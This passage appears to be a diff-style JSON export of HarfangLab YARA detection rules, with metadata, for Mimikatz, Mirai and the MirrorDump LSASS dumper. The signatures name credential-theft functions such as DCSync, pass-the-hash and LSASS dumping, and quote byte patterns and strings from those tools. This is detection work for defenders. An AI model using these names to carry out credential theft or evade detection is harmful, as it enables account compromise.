+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584987Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0002/\nhttps://github.com/gentilkiwi/mimikatz"
+  ],
+  "name": "mimikatz_9e385b856412.yar",
+  "content": "import \"pe\"\n\nrule mimikatz_9e385b856412 {\n    meta:\n        title = \"Mimikatz DLL (9e385b856412)\"\n        id = \"224e7abf-a28e-4b8e-94c6-9e385b856412\"\n        description = \"Detects Mimikatz DLL in memory.\\nMimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords. This rule detects its presence in memory through specific patterns related to its operations, such as credential extraction and lateral movement. It is often used in red teaming exercises to test network security.\\nIt is recommended to investigate for additional signs of malicious activity, such as network communication or file artifacts.\"\n        references = \"https://attack.mitre.org/software/S0002/\\nhttps://github.com/gentilkiwi/mimikatz\"\n        date = \"2020-09-30\"\n        modified = \"2025-03-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0002;attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002;attack.t1550.003\"\n        classification = \"Windows.Tool.Mimikatz\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        /*\n            match on:\n            mov dword ptr [r?x], 10000h\n            <...Anything up to 14 bytes...>\n            mov dword ptr [r?], 1\n        */\n        $dll_SpLsaModeInitialize = { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }\n\n        /*  match on:\n            mov dword ptr [r?x], 210h\n            mov [r?x], ax\n        */\n        $dll_kssp_SpGetInfo = { c7 0? 10 02 00 00 ?? 89 4? }\n    condition:\n        (all of ($dll_*) or pe.exports(\"powershell_reflective_mimikatz\")) and pe.characteristics & pe.DLL\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mimikatz_9e385b856412"
+  ],
+  "rule_creation_date": "2020-09-30",
+  "rule_modified_date": "2025-03-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Mimikatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mimikatz_b8c25fc0ee35_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584657Z",
+  "creation_date": "2026-03-23T11:46:25.584659Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584665Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0002/\nhttps://github.com/gentilkiwi/mimikatz"
+  ],
+  "name": "mimikatz_b8c25fc0ee35.yar",
+  "content": "import \"pe\"\n\nrule mimikatz_b8c25fc0ee35 {\n    meta:\n        title = \"Mimikatz DLL (b8c25fc0ee35)\"\n        id = \"c0ff0dd3-25b5-4b82-abb2-b8c25fc0ee35\"\n        description = \"Detects Mimikatz DLL in memory.\\nMimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords. This rule detects its presence in memory through specific patterns related to its operations, such as credential extraction and lateral movement. It is often used in red teaming exercises to test network security.\\nIt is recommended to investigate for additional signs of malicious activity, such as network communication or file artifacts.\"\n        references = \"https://attack.mitre.org/software/S0002/\\nhttps://github.com/gentilkiwi/mimikatz\"\n        date = \"2021-01-07\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0002;attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002;attack.t1550.003\"\n        classification = \"Windows.Tool.Mimikatz\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Following are unique names that could be found in error messages of mimikatz (unstripped most of the time).\n        $dpapi_oe_credential_add = \"dpapi_oe_credential_add\" wide\n        $dpapi_oe_domainkey_add = \"dpapi_oe_domainkey_add\" wide\n        $kerberos_ptt_data = \"kerberos_ptt_data\" wide\n        $kerberos_golden = \"kerberos_golden\" wide\n        $kerberos_hash_data_raw= \"kerberos_hash_data_raw\" wide\n        $crypto_exportRawKeyToFile = \"crypto_exportRawKeyToFile\" wide\n        $crypto_exportKeyToFile = \"crypto_exportKeyToFile\" wide\n        $lsadump_dcsync = \"lsadump_dcsync\" wide\n        $lsadump_dcsync_decrypt = \"lsadump_dcsync_decrypt\" wide\n        $lsadump_dcsync_descrObject_csv = \"lsadump_dcsync_descrObject_csv\" wide\n        $sekurlsa_acquireLSA = \"sekurlsa_acquireLSA\" wide\n        $sekurlsa_pth = \"sekurlsa_pth\" wide\n        $sekurlsa_pth_luid = \"sekurlsa_pth_luid\" wide\n        $sekurlsa_genericCredsOutput = \"sekurlsa_genericCredsOutput\" wide\n        $sekurlsa_trymarshal = \"sekurlsa_trymarshal\" wide\n        $sekurlsa_sk_candidatekey_add = \"sekurlsa_sk_candidatekey_add\" wide\n        $sekurlsa_sk_tryDecode = \"sekurlsa_sk_tryDecode\" wide\n        $sekurlsa_enum_kerberos_callback_pth = \"sekurlsa_enum_kerberos_callback_pth\" wide\n        $sekurlsa_msv_enum_cred_callback_pth = \"sekurlsa_msv_enum_cred_callback_pth\" wide\n        $dpapi_unprotect_raw_or_blob = \"dpapi_unprotect_raw_or_blob\" wide\n        $dpapi_oe_masterkey_add = \"dpapi_oe_masterkey_add\" wide\n        $dpapi_chrome = \"dpapi_chrome\" wide\n        $string_stringToHex = \"kull_m_string_stringToHex\" wide\n        $dpapi_chrome_decrypt = \"dpapi_chrome_decrypt\" wide\n        $dpapi_chrome_alg_key_from_raw = \"dpapi_chrome_alg_key_from_raw\" wide\n        $dpapi_chrome_alg_key_from_b64 = \"dpapi_chrome_alg_key_from_b64\" wide\n        $dpapi_chrome_alg_key_from_file = \"dpapi_chrome_alg_key_from_file\" wide\n        $lsadump_dcshadow_encode_sensitive_value = \"lsadump_dcshadow_encode_sensitive_value\" wide\n    condition:\n        5 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mimikatz_b8c25fc0ee35"
+  ],
+  "rule_creation_date": "2021-01-07",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Mimikatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mimikatz_compressed_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571593Z",
+  "creation_date": "2026-03-23T11:46:25.571595Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571600Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0002/\nhttps://github.com/gentilkiwi/mimikatz"
+  ],
+  "name": "mimikatz_compressed.yar",
+  "content": "rule mimikatz_compressed_strings {\n    meta:\n        title = \"Mimikatz Compressed/Encoded Strings\"\n        id = \"be9ea724-b0b6-416b-9e13-d5fe58e4910c\"\n        description = \"Detects Mimikatz compressed/encoded strings, indicating potential embedding of Mimikatz.\\nMimikatz is a powerful credential dumping tool capable of extracting plaintext Windows account logins and passwords. It also provides various features for testing network security. This rule identifies files containing common compressed or encoded Mimikatz strings, which may indicate malicious activity attempting to compromise system credentials.\\nIt is recommended to conduct a thorough investigation to confirm the presence of malicious activity.\"\n        references = \"https://attack.mitre.org/software/S0002/\\nhttps://github.com/gentilkiwi/mimikatz\"\n        date = \"2023-11-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0002;attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002;attack.t1550.003\"\n        classification = \"Windows.Tool.Mimikatz\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $canary = \"3877a2df4d0a6638673372831bd44cbb2cba734aa7c0117115bab51c994acdf4\"\n\n        // https://github.com/GhostPack/SafetyKatz\n        $s0 = \"jkak8gTe9zGlT1tIE1gBOxP4J60gBk6QIv\" wide ascii\n        $s1 = \"6J7ydtHPogjK24AFn3O6hyi6F6d7AGJ+zB\" wide ascii\n        $s2 = \"qiFCmnbygFb8A0OsNd51UdzmrAInheugh5\" wide ascii\n\n        // https://gist.github.com/xorrior/bbac3919ca2aef8d924bdf3b16cce3d0 - Compressed Mimikatz inside of InstallUtil\n        $s3 = \"vX7t+/RbsPZL+r2S0p/8z/30G1/StvYbqv\" wide ascii\n        $s4 = \"9UgTyj33zJ5+x/DevXt6jTbeeHDnN/8Z9O\" wide ascii\n        $s5 = \"CBMX9JNmNZrx0QzrVO4WOhl7SEI26yCMNx\" wide ascii\n\n        // https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1\n        $s6 = \"AUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8Aa\" wide ascii\n        $s7 = \"ABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIAB\" wide ascii\n        $s8 = \"aQBlAHMAWwAlAHUAXQAKAAAAAAAgACAAIA\" wide ascii\n\n        // https://github.com/Flangvik/BetterSafetyKatz\n        $b64_0 = \"Lists all available providers credentials\" base64 base64wide\n        $b64_1 = \"Switch (or reinit) to LSASS process  context\" base64 base64wide\n        $b64_2 = \"Lists LiveSSP credentials\" base64 base64wide\n        $b64_3 = \"gentilkiwi\" base64 base64wide\n        $b64_4 = \"/sam or /sid to target the account is needed\" base64 base64wide\n        $b64_5 = \"A La Vie, A L'Amour\" base64 base64wide\n\n    condition:\n        (2 of ($s*) or 2 of ($b64_*)) and not $canary\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mimikatz_compressed_strings"
+  ],
+  "rule_creation_date": "2023-11-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Mimikatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mimikatz_ec4487866cd0_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563516Z",
+  "creation_date": "2026-03-23T11:46:25.563520Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563528Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0002/\nhttps://github.com/gentilkiwi/mimikatz"
+  ],
+  "name": "mimikatz_ec4487866cd0.yar",
+  "content": "import \"pe\"\n\nrule mimikatz_ec4487866cd0 {\n    meta:\n        title = \"Mimikatz DLL (ec4487866cd0)\"\n        id = \"38ab3219-a747-4b8c-bc1f-ec4487866cd0\"\n        description = \"Detects Mimikatz DLL in memory.\\nMimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords. This rule detects its presence in memory through specific patterns related to its operations, such as credential extraction and lateral movement. It is often used in red teaming exercises to test network security.\\nIt is recommended to investigate for additional signs of malicious activity, such as network communication or file artifacts.\"\n        references = \"https://attack.mitre.org/software/S0002/\\nhttps://github.com/gentilkiwi/mimikatz\"\n        date = \"2020-10-01\"\n        modified = \"2025-03-20\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0002;attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002;attack.t1550.003\"\n        classification = \"Windows.Tool.Mimikatz\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // ---------- start: kuhl_m_event ----------\n\n        /*\n            From mimikatz initial release: bb371c2acba397b4006a6cddc0f9ce2b5958017b\n        */\n        // Windows XP\n        // NOTE: too small to be used for matching.\n        //$PerformWriteRequest_winT5 = { 49 89 5b 10 49 89 73 18 }\n        // Windows Vista\n        $process_event_win60 = { 48 89 5c 24 08 57 48 83 ec 20 48 8b f9 48 8b ca 48 8b da e8}\n        // Windows 7\n        $process_event_win6 = { ff f7 48 83 ec 50 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 60 48 8b da 48 8b f9 48 8b ca e8}\n\n        /*\n            From mimikatz commit: 5d191619fc8ffaf8cc2ba155114b33db39c824c2\n        */\n        // Windows 10 (build 1507)\n        $process_event_win10 = { 48 8b c4 57 48 83 ec 50 48 c7 40 c8 fe ff ff ff 48 89 58 08 }\n\n        /*\n            From mimikatz commit: cdd0722efa05ec0657bc90ee0d6e27df52557335\n        */\n        // Windows 10 (build 1607)\n        $process_event_win10_1607 = { 40 57 48 83 ec 40 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 50 48 8b da 48 8b f9 48 8b ca e8 }\n\n        /*\n            From mimikatz commit: 508b4aaf9e73f7ba45648c35cff632f10f38454b\n        */\n        // Windows 10 (build 1709)\n        $process_event_win10_1709 = { 48 89 5c 24 08 57 48 83 ec 40 48 8b f9 48 8b da 48 8b ca e8 }\n\n        /*\n            From mimikatz commit: fe6a853ec3e7ff50d79dd608dbed5e05cfab3322\n        */\n        // Windows 10 (build 1803)\n        $process_event_win10_1803 = { 40 57 48 83 ec 40 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 50 48 89 6c 24 58 48 89 74 24 60 }\n\n        /*\n            From mimikatz commit: 2fd09bbef0754317cd97c01dbbf49698ae23d9d2\n        */\n        // Windows 10 (build 1809)\n        $process_event_win10_1809 = { 40 57 48 83 ec 40 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 50 48 89 74 24 58 49 8b f0 48 8b fa 48 8b d9 48 8b ca e8 }\n\n        /*\n            From mimikatz commit: 4dd27c0a649e808c01c7ea308321ff3eb9e3d4d3\n        */\n        // Windows 10 (build 1909)\n        $process_event_win10_1909 = { 40 57 48 83 ec 40 48 c7 44 24 20 fe ff ff ff 48 89 5c 24 50 48 89 74 24 58 49 8b 58 08 48 8b f2 48 8b f9 48 8b ca e8 }\n\n        /*\n            From mimikatz commit: 4dd27c0a649e808c01c7ea308321ff3eb9e3d4d3\n        */\n        // Windows 10 (build 2004)\n        $process_event_win10_2004 = { 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 40 49 8b 58 08 48 8b f2 48 8b f9 48 8b ca e8 }\n\n        // ----------  end: kuhl_m_event  ----------\n\n        // ---------- start: kuhl_m_misc ----------\n\n        /*\n            From mimikatz initial release: bb371c2acba397b4006a6cddc0f9ce2b5958017b\n        */\n        // Windows XP\n        // NOTE: too small to be used for matching.\n        //$WALL_ncRouteMonitor = { 07 00 75 3a 68 }\n\n        // ----------  end: kuhl_m_misc  ----------\n\n        // ---------- start: kuhl_m_sid ----------\n\n        /*\n            From mimikatz commit: 81594553f72531aab2941267cfc6fc3392074efe\n        */\n        // Windows XP\n        $loopback_check_win52 = { 48 8b d8 48 89 84 24 80 00 00 00 c7 07 01 00 00 00 83 }\n        $sysmodresatt_win52 = { 0f b7 8c 24 c8 00 00 00 }\n        // Windows 7\n        $loopback_check_win61 = { 48 8b f8 48 89 84 24 88 00 00 00 41 be 01 00 00 00 44 89 33 33 db 39 }\n        $sysmodresatt_win61 = { 0f b7 8c 24 78 01 00 00 4d 8b 6d 00 }\n        // Windows 8.1 (Blue)\n        $loopback_check_win81 = { 41 be 01 00 00 00 45 89 34 24 83 }\n        $sysmodresatt_win81 = { 0f b7 8c 24 b8 00 00 00 }\n\n        /*\n            From mimikatz commit: cdd0722efa05ec0657bc90ee0d6e27df52557335\n        */\n        // Windows 10 (build 1607)\n        $loopback_check_win10_1607 = { 44 8d 70 01 45 89 34 24 39 05 }\n        $sysmodresatt_win10_1607 = { 8b bc 24 d8 00 00 00 41 b8 01 00 00 00 0f b7 8c 24 c8 00 00 00 }\n\n        // ----------  end: kuhl_m_sid  ----------\n\n        // ---------- start: kuhl_m_ts ----------\n\n        /*\n            From mimikatz commit: 5d191619fc8ffaf8cc2ba155114b33db39c824c2\n        */\n        // Windows XP\n        // NOTE: too small to be used for matching.\n        //$TestLicence_WIN5 = { 83 f8 02 7f }\n        // Windows Vista\n        $query_policy_win60 = { 8b 81 38 06 00 00 39 81 3c 06 00 00 75 }\n        // Windows 7\n        $query_policy_win6x = { 39 87 3c 06 00 00 0f 84 }\n        // Windows 8.1 (Blue)\n        $query_policy_win81 = { 39 81 3c 06 00 00 0f 84 }\n\n        /*\n            From mimikatz commit: c0f05a5286a05cf69240d352f2bff51377e33acd\n        */\n        // Windows 10 (build 1803)\n        $query_policy_W10_1803 = { 8b 99 3c 06 00 00 8b b9 38 06 00 00 3b df 0f 84 }\n\n        /*\n            From mimikatz commit: 2fd09bbef0754317cd97c01dbbf49698ae23d9d2\n        */\n        // Windows 10 (build 1809)\n        $query_policy_W10_1809 = { 8b 81 38 06 00 00 39 81 3c 06 00 00 0f 84 }\n\n        // ----------  end: kuhl_m_ts  ----------\n\n        // TODO: detect \"@lsadump::dcsync\", \"sekurlsa::logonpasswords\" and \"sekurlsa::pth\" for trimed down version of mimikatz (example in Cobalt Strike).\n\n    condition:\n        filesize < 30MB and\n        // kuhl_m_event\n        (5 of ($process_event*)\n        // kuhl_m_sid\n        or (2 of ($loopback_check_*) and 2 of ($sysmodresatt_*))\n        // kuhl_m_ts\n        or all of ($query_policy*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mimikatz_ec4487866cd0"
+  ],
+  "rule_creation_date": "2020-10-01",
+  "rule_modified_date": "2025-03-20",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Mimikatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mirair_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572468Z",
+  "creation_date": "2026-03-23T11:46:25.572470Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572476Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai"
+  ],
+  "name": "mirair.yar",
+  "content": "rule mirai_variant {\n    meta:\n        title = \"Mirai Variant\"\n        id = \"2d419987-a465-44d3-bbab-e6f3b8318861\"\n        description = \"Detects a variant of Mirai, a malware that turns networked devices running Linux into remotely controlled bots that can be used as part of a botnet in large-scale network attacks.\\nIt is recommended to investigate the detected binary to determine its legitimacy.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai\"\n        date = \"2024-09-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1046;attack.credential_access;attack.t1110;attack.command_and_control;attack.t1071.001;attack.impact;attack.t1498\"\n        classification = \"Linux.Malware.Mirai\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6a63d66955e7ff374778c33e9504d32315e5d1fd9c81724c6ffc2703d71d965a\n        // 8749452ef33a3d99b8ec3f1cab28040872300870fce743ecfc4f78239a555bba\n        // a0a60a6d7225fccd6dc6fb22675a92e6ddac07f4fbec69f1d2984a4e174ec4d2\n        // a93392bcf8fec68d4ac7c5dcb2ab2827d9eceb6e3eb1f9f416832b1e5d05f838\n\n        $s1 = \"/bin/busybox telentd\" ascii fullword\n        $s2 = \"who doesn't love a femboy?\" ascii fullword\n        $s3 = \"/dev/FTWDT101_watchdog\" ascii fullword\n        $s4 = \"someoffdeeznuts\" ascii fullword\n        $s5 = \"bad auth_len gid %d str %d auth %d\" ascii fullword\n\n        $x = {\n            48 89 D0                      // mov     rax, rdx\n            48 03 06                      // add     rax, [rsi]\n            44 30 10                      // xor     [rax], r10b\n            48 89 D0                      // mov     rax, rdx\n            48 03 06                      // add     rax, [rsi]\n            44 30 08                      // xor     [rax], r9b\n            48 89 D0                      // mov     rax, rdx\n            48 03 06                      // add     rax, [rsi]\n            44 30 00                      // xor     [rax], r8b\n            48 89 D0                      // mov     rax, rdx\n            48 03 06                      // add     rax, [rsi]\n            40 30 38                      // xor     [rax], dil\n            8D 42 01                      // lea     eax, [rdx+1]\n            48 FF C2                      // inc     rdx\n            0F B7 4E 08                   // movzx   ecx, word ptr [rsi+8]\n            39 C8                         // cmp     eax, ecx\n            7C ??                         // jl      short loc_405480\n        }\n\n    condition:\n        all of ($s*) or $x\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mirai_variant"
+  ],
+  "rule_creation_date": "2024-09-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Malware.Mirai"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1071.001",
+    "attack.t1498",
+    "attack.t1110"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mirrordump_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581571Z",
+  "creation_date": "2026-03-23T11:46:25.581573Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581579Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/001/\nhttps://github.com/CCob/MirrorDump/"
+  ],
+  "name": "mirrordump.yar",
+  "content": "rule mirrordump {\n    meta:\n        title = \"MirrorDump HackTool\"\n        id = \"3409c2cb-473a-47cd-a8c8-c22e40a95317\"\n        description = \"Detects MirrorDump, a LSASS memory dumper that uses an LSA plugin and API hooking.\\nMirrorDump is a tool designed to extract LSASS process memory, often used for credential dumping. It hooks the LSA (Local Security Authority) subsystem and creates a memory dump of the LSASS process, which can then be analyzed for sensitive information such as credentials.\\nIt is recommended to analyze the LSASS process for any unauthorized memory dumping activities.\"\n        references = \"https://attack.mitre.org/techniques/T1003/001/\\nhttps://github.com/CCob/MirrorDump/\"\n        date = \"2024-01-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003.001\"\n        classification = \"Windows.HackTool.MirrorDump\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 2e936549ff8d2f667d1914748c379beac1d040e35b39a6cb9ad48c9a81862931\n\n        // ascii\n        $m1 = \"import MirrorDump\" fullword ascii\n        $m2 = \"MiniDumpToMemSharp\" fullword ascii\n        $m3 = \"SharpDisasm.Disassembler\" fullword ascii\n\n        // wide\n        $s1 = \"[!] Failed to query handle information with error 0x{0:x}\" fullword wide\n        $s2 = \"{0}.dmp\" fullword wide\n        $s3 = \"[!] Failed to fake NtOpenProcess on LSASS PID\" fullword wide\n        $s4 = \"[!] Failed to parse arguments: {0}\" fullword wide\n        $s5 = \"[+] Generating new LSA DLL {0} targeting PID {1}.....\" fullword wide\n        $s6 = \"[+] LSA security package loaded, searching current process for duplicated LSASS handle\" fullword wide\n        $s7 = \"[+] Found duplicated LSASS process handle 0x{0:x}\" fullword wide\n        $s8 = \"[!] Failed to get LSASS handle, bailing!\" fullword wide\n        $s9 = \"[=] Dumping LSASS memory\" fullword wide\n        $s10 = \"[!] Minidump memory limit reached, could not create dump\" fullword wide\n        $s11 = \"[!] Minidump generation failed with error 0x{0:x}\" fullword wide\n        $s12 = \"[+] Minidump successfully saved to memory, size {0}MB\" fullword wide\n        $s13 = \"[+] Minidump compressed and saved to \" fullword wide\n\n    condition:\n        all of ($m*) or 5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mirrordump"
+  ],
+  "rule_creation_date": "2024-01-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.MirrorDump"
+  ],
